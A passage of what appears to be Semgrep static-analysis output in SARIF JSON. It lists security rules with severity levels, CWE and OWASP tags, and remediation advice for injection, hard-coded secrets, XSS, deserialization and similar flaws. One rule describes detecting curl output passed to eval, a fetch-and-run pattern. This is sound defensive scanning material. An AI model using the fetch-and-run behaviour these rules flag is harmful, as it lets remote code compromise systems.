[https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections](https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections)\n","text":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.curl-eval.curl-eval","id":"yaml.github-actions.security.curl-eval.curl-eval","name":"yaml.github-actions.security.curl-eval.curl-eval","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.curl-eval.curl-eval"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.okhttp.secrets.empty-credentials.empty.Credentials)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.okhttp.secrets.empty-credentials.empty.Credentials","id":"kotlin.okhttp.secrets.empty-credentials.empty.Credentials","name":"kotlin.okhttp.secrets.empty-credentials.empty.Credentials","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.okhttp.secrets.empty-credentials.empty.Credentials"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"HTTP method [$METHOD] to Laravel route $ROUTE_NAME is vulnerable to SQL injection via string concatenation or unsafe interpolation."},"help":{"markdown":"HTTP method [$METHOD] to Laravel route $ROUTE_NAME is vulnerable to SQL injection via string concatenation or unsafe interpolation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-api-route-sql-injection.laravel-api-route-sql-injection)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md)\n","text":"HTTP method [$METHOD] to Laravel route $ROUTE_NAME is vulnerable to SQL injection via string concatenation or unsafe interpolation."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-api-route-sql-injection.laravel-api-route-sql-injection","id":"php.laravel.security.laravel-api-route-sql-injection.laravel-api-route-sql-injection","name":"php.laravel.security.laravel-api-route-sql-injection.laravel-api-route-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-api-route-sql-injection.laravel-api-route-sql-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-if-array.tainted-os-command-stdlib-aws-lambda-secure-if-array)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-if-array.tainted-os-command-stdlib-aws-lambda-secure-if-array","id":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-if-array.tainted-os-command-stdlib-aws-lambda-secure-if-array","name":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-if-array.tainted-os-command-stdlib-aws-lambda-secure-if-array","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-if-array.tainted-os-command-stdlib-aws-lambda-secure-if-array"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.jjwt.jjwt-hardcode.jjwt-hardcode)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.jjwt.jjwt-hardcode.jjwt-hardcode","id":"kotlin.jjwt.jjwt-hardcode.jjwt-hardcode","name":"kotlin.jjwt.jjwt-hardcode.jjwt-hardcode","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.jjwt.jjwt-hardcode.jjwt-hardcode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected HTTPConnectionPool. This will transmit data in cleartext. It is recommended to use HTTPSConnectionPool instead for to encrypt communications."},"help":{"markdown":"Detected HTTPConnectionPool. This will transmit data in cleartext. It is recommended to use HTTPSConnectionPool instead for to encrypt communications.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.network.http-not-https-connection.http-not-https-connection)\n - [https://urllib3.readthedocs.io/en/1.2.1/pools.html#urllib3.connectionpool.HTTPSConnectionPool](https://urllib3.readthedocs.io/en/1.2.1/pools.html#urllib3.connectionpool.HTTPSConnectionPool)\n","text":"Detected HTTPConnectionPool. This will transmit data in cleartext. It is recommended to use HTTPSConnectionPool instead for to encrypt communications."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.network.http-not-https-connection.http-not-https-connection","id":"python.lang.security.audit.network.http-not-https-connection.http-not-https-connection","name":"python.lang.security.audit.network.http-not-https-connection.http-not-https-connection","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.network.http-not-https-connection.http-not-https-connection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"help":{"markdown":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-http-request.avoid-tainted-http-request)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown)\n","text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-http-request.avoid-tainted-http-request","id":"ruby.rails.security.audit.avoid-tainted-http-request.avoid-tainted-http-request","name":"ruby.rails.security.audit.avoid-tainted-http-request.avoid-tainted-http-request","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.avoid-tainted-http-request.avoid-tainted-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"this function is only available on Python 3.6+"},"help":{"markdown":"this function is only available on Python 3.6+\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-ssl)\n","text":"this function is only available on Python 3.6+"},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-ssl","id":"python.lang.compatibility.python36.python36-compatibility-ssl","name":"python.lang.compatibility.python36.python36-compatibility-ssl","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python36.python36-compatibility-ssl"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected Flask route directly returning a formatted string. This is subject to cross-site scripting if user input can reach the string. Consider using the template engine instead and rendering pages with 'render_template()'."},"help":{"markdown":"Detected Flask route directly returning a formatted string. This is subject to cross-site scripting if user input can reach the string. Consider using the template engine instead and rendering pages with 'render_template()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.directly-returned-format-string.directly-returned-format-string)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected Flask route directly returning a formatted string. This is subject to cross-site scripting if user input can reach the string. Consider using the template engine instead and rendering pages with 'render_template()'."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.directly-returned-format-string.directly-returned-format-string","id":"python.flask.security.audit.directly-returned-format-string.directly-returned-format-string","name":"python.flask.security.audit.directly-returned-format-string.directly-returned-format-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.directly-returned-format-string.directly-returned-format-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands."},"help":{"markdown":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.command.subprocess-injection.subprocess-injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.command.subprocess-injection.subprocess-injection","id":"python.django.security.injection.command.subprocess-injection.subprocess-injection","name":"python.django.security.injection.command.subprocess-injection.subprocess-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.command.subprocess-injection.subprocess-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected RC2 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"help":{"markdown":"Detected RC2 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-rc2.insecure-cipher-algorithm-rc2)\n - [https://cwe.mitre.org/data/definitions/326.html](https://cwe.mitre.org/data/definitions/326.html)\n - [https://www.pycryptodome.org/src/cipher/cipher](https://www.pycryptodome.org/src/cipher/cipher)\n","text":"Detected RC2 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-rc2.insecure-cipher-algorithm-rc2","id":"python.pycryptodome.security.insecure-cipher-algorithm-rc2.insecure-cipher-algorithm-rc2","name":"python.pycryptodome.security.insecure-cipher-algorithm-rc2.insecure-cipher-algorithm-rc2","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-cipher-algorithm-rc2.insecure-cipher-algorithm-rc2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-torch-pickle-django.tainted-torch-pickle-django)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/;](https://davidhamann.de/2020/04/05/exploiting-python-pickle/;)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-torch-pickle-django.tainted-torch-pickle-django","id":"python.django.deserialization.tainted-torch-pickle-django.tainted-torch-pickle-django","name":"python.django.deserialization.tainted-torch-pickle-django.tainted-torch-pickle-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-torch-pickle-django.tainted-torch-pickle-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `html/template` package which will safely render HTML instead, or inspect that the HTML is rendered safely."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `html/template` package which will safely render HTML instead, or inspect that the HTML is rendered safely.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.injection.raw-html-format.raw-html-format)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `html/template` package which will safely render HTML instead, or inspect that the HTML is rendered safely."},"helpUri":"https://semgrep.dev/r/go.lang.security.injection.raw-html-format.raw-html-format","id":"go.lang.security.injection.raw-html-format.raw-html-format","name":"go.lang.security.injection.raw-html-format.raw-html-format","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.injection.raw-html-format.raw-html-format"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected asyncio subprocess function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"help":{"markdown":"Detected asyncio subprocess function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-shell.dangerous-asyncio-shell)\n - [https://docs.python.org/3/library/asyncio-subprocess.html](https://docs.python.org/3/library/asyncio-subprocess.html)\n - [https://docs.python.org/3/library/shlex.html](https://docs.python.org/3/library/shlex.html)\n","text":"Detected asyncio subprocess function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-shell.dangerous-asyncio-shell","id":"python.aws-lambda.security.dangerous-asyncio-shell.dangerous-asyncio-shell","name":"python.aws-lambda.security.dangerous-asyncio-shell.dangerous-asyncio-shell","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dangerous-asyncio-shell.dangerous-asyncio-shell"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"When running containers in Kubernetes, it's important to ensure that they  are properly secured to prevent privilege escalation attacks.  One potential vulnerability is when a container is allowed to run  applications as the root user, which could allow an attacker to gain  access to sensitive resources. To mitigate this risk, it's recommended to  add a `securityContext` to the container, with the parameter `runAsNonRoot`  set to `true`. This will ensure that the container runs as a non-root user,  limiting the damage that could be caused by any potential attacks. By  adding a `securityContext` to the container in your Kubernetes pod, you can  help to ensure that your containerized applications are more secure and  less vulnerable to privilege escalation attacks."},"help":{"markdown":"When running containers in Kubernetes, it's important to ensure that they  are properly secured to prevent privilege escalation attacks.  One potential vulnerability is when a container is allowed to run  applications as the root user, which could allow an attacker to gain  access to sensitive resources. To mitigate this risk, it's recommended to  add a `securityContext` to the container, with the parameter `runAsNonRoot`  set to `true`. This will ensure that the container runs as a non-root user,  limiting the damage that could be caused by any potential attacks. By  adding a `securityContext` to the container in your Kubernetes pod, you can  help to ensure that your containerized applications are more secure and  less vulnerable to privilege escalation attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.run-as-non-root.run-as-non-root)\n - [https://kubernetes.io/blog/2016/08/security-best-practices-kubernetes-deployment/](https://kubernetes.io/blog/2016/08/security-best-practices-kubernetes-deployment/)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-2-set-a-user](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-2-set-a-user)\n","text":"When running containers in Kubernetes, it's important to ensure that they  are properly secured to prevent privilege escalation attacks.  One potential vulnerability is when a container is allowed to run  applications as the root user, which could allow an attacker to gain  access to sensitive resources. To mitigate this risk, it's recommended to  add a `securityContext` to the container, with the parameter `runAsNonRoot`  set to `true`. This will ensure that the container runs as a non-root user,  limiting the damage that could be caused by any potential attacks. By  adding a `securityContext` to the container in your Kubernetes pod, you can  help to ensure that your containerized applications are more secure and  less vulnerable to privilege escalation attacks."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.run-as-non-root.run-as-non-root","id":"yaml.kubernetes.security.run-as-non-root.run-as-non-root","name":"yaml.kubernetes.security.run-as-non-root.run-as-non-root","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.run-as-non-root.run-as-non-root"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of 'ondoctype' in 'sax' library detected. By default, 'sax' won't do anything with custom DTD entity definitions. If you're implementing a custom DTD entity definition, be sure not to introduce XML External Entity (XXE) vulnerabilities, or be absolutely sure that external entities received from a trusted source while processing XML."},"help":{"markdown":"Use of 'ondoctype' in 'sax' library detected. By default, 'sax' won't do anything with custom DTD entity definitions. If you're implementing a custom DTD entity definition, be sure not to introduce XML External Entity (XXE) vulnerabilities, or be absolutely sure that external entities received from a trusted source while processing XML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sax.security.audit.sax-xxe.sax-xxe)\n - [https://github.com/Leonidas-from-XIV/node-xml2js/issues/415](https://github.com/Leonidas-from-XIV/node-xml2js/issues/415)\n - [https://github.com/isaacs/sax-js](https://github.com/isaacs/sax-js)\n","text":"Use of 'ondoctype' in 'sax' library detected. By default, 'sax' won't do anything with custom DTD entity definitions. If you're implementing a custom DTD entity definition, be sure not to introduce XML External Entity (XXE) vulnerabilities, or be absolutely sure that external entities received from a trusted source while processing XML."},"helpUri":"https://semgrep.dev/r/javascript.sax.security.audit.sax-xxe.sax-xxe","id":"javascript.sax.security.audit.sax-xxe.sax-xxe","name":"javascript.sax.security.audit.sax-xxe.sax-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sax.security.audit.sax-xxe.sax-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","id":"javascript.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","name":"javascript.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Validating certificates based on subject name is bad practice. Use the X509Certificate2.Verify() method instead."},"help":{"markdown":"Validating certificates based on subject name is bad practice. Use the X509Certificate2.Verify() method instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.cryptography.x509-subject-name-validation.X509-subject-name-validation)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.identitymodel.tokens.issuernameregistry?view=netframework-4.8](https://docs.microsoft.com/en-us/dotnet/api/system.identitymodel.tokens.issuernameregistry?view=netframework-4.8)\n","text":"Validating certificates based on subject name is bad practice. Use the X509Certificate2.Verify() method instead."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.cryptography.x509-subject-name-validation.X509-subject-name-validation","id":"csharp.lang.security.cryptography.x509-subject-name-validation.X509-subject-name-validation","name":"csharp.lang.security.cryptography.x509-subject-name-validation.X509-subject-name-validation","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.cryptography.x509-subject-name-validation.X509-subject-name-validation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` 